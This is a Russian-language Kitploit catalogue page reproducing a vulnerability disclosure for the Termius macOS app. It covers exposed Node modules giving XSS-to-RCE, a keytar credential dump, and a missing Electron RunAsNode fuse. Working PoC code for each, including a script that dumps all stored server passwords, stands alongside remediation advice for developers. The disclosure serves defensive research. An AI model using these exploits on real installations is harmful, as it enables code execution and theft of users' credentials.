Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-Termius — Раскрытие уязвимостей с PoC для трех критических ошибок Termius на macOS: удаленное выполнение кода через открытые модули Node, локальное повышение привилегий с дампом учетных данных и обход Electron fuse. Включает рекомендации по устранению. | Kitploit
Инструменты/GitHubGitHub/nicetop1027/cve-2026-termius
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияСтатьи и ИсследованияНеправильная КонфигурацияОбучение и Образование
GitHubnicetop1027/cve-2026-termius

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-Termius

Раскрытие уязвимостей с PoC для трех критических ошибок Termius на macOS: удаленное выполнение кода через открытые модули Node, локальное повышение привилегий с дампом учетных данных и обход Electron fuse. Включает рекомендации по устранению.

Репозиторий
6 месяцев назадЕщё не проверено

Отчет об уязвимости приложения Termius для macOS (CVE-2026-Termius)

Цель: Termius (macOS) Протестированная версия: Последняя (по состоянию на январь 2026 г.) Воздействие: Удаленное выполнение кода (RCE), локальное повышение привилегий (LPE), обход безопасности приложения

🚨 Краткое изложение

В приложении Termius для macOS были выявлены три критических уязвимости, которые позволяют атакующему:

  1. Выполнять произвольные системные команды (RCE) через скрытый бэкдор-символ, открытый для рендерера.
  2. Извлекать все сохраненные пароли (LPE) путем злоупотребления открытым нативным модулем keytar.
  3. Полностью обходить безопасность приложения с помощью отсутствующего fuse ELECTRON_RUN_AS_NODE.

1. Критическая: Удаленное выполнение кода (RCE) через скрытый символ

Детали уязвимости

Приложение открывает мощные модули Node.js (child_process, fs, electron) для процесса рендерера (веб-интерфейсная часть приложения). Эти модули скрыты за глобальным Symbol в объекте window, чтобы их замаскировать, но они не изолированы безопасным образом.

  • Шаблон уязвимого кода:
    root@kitploit:~
    // В извлеченном исходном коде приложения
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

Эксплойт (PoC)

Атакующий, добившийся межсайтового скриптинга (XSS), может немедленно повысить его до RCE, используя этот открытый символ.

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Восстанавливаем скрытый ключ с помощью Symbol.for (Глобальный реестр)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Получаем доступ к открытому объекту-бэкдору
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("Цель для RCE получена.");
    // 3. Выполняем произвольную системную команду (например, Калькулятор)
    backdoor.child_process.exec("open -a Calculator");
}

2. Критическая: Локальное извлечение учетных данных (LPE)

Детали уязвимости

Нативный модуль Node.js keytar, который Termius использует для взаимодействия со связкой ключей macOS, также открыт через тот же скрытый символ. Это позволяет любому скрипту, выполняющемуся в контексте приложения (например, вредоносный плагин, XSS или внедрение в локальный процесс), запрашивать и извлекать пароли в открытом виде для всех сохраненных серверов.

Эксплойт (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Находим модуль keytar (имя может незначительно отличаться)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Извлекаем учетные данные для службы по умолчанию
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 ИЗВЛЕЧЕННЫЕ УЧЕТНЫЕ ДАННЫЕ 🔥🔥🔥");
    console.table(credentials);
});

3. Критическая: Отсутствующий Electron Fuse (RunAsNode)

Детали уязвимости

Бинарный файл Termius не отключает fuse ELECTRON_RUN_AS_NODE. Это критическая ошибка конфигурации безопасности, которая позволяет любому локальному пользователю выполнять подписанный бинарный файл Termius как стандартный исполняемый файл Node.js. Это полностью обходит проверки целостности подписи кода macOS для логики приложения.

Эксплойт (PoC)

poc_fuse.sh:

root@kitploit:~
# Выполнение Termius как Node.js с запуском произвольного кода
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

Рекомендации по устранению (для разработчиков)

  1. Отключите Electron Fuses: Явно отключите RunAsNode и EnableNodeCliInspectArguments с помощью @electron/fuses во время сборки.
  2. Удалите раскрытие глобальных символов: Не присоединяйте конфиденциальные модули к window или global. Используйте contextBridge.exposeInMainWorld с ограниченной поверхностью API, которая открывает только необходимые функции, а не целые модули.
  3. Санируйте IPC: Убедитесь, что весь межпроцессный обмен (IPC) строго типизирован и проверен.

Отчет создан Antigravity Agent

Скачать инструмент